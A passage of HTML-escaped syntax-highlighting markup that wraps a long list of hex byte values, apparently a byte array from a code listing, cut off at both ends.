class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xd&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt;&lt;span 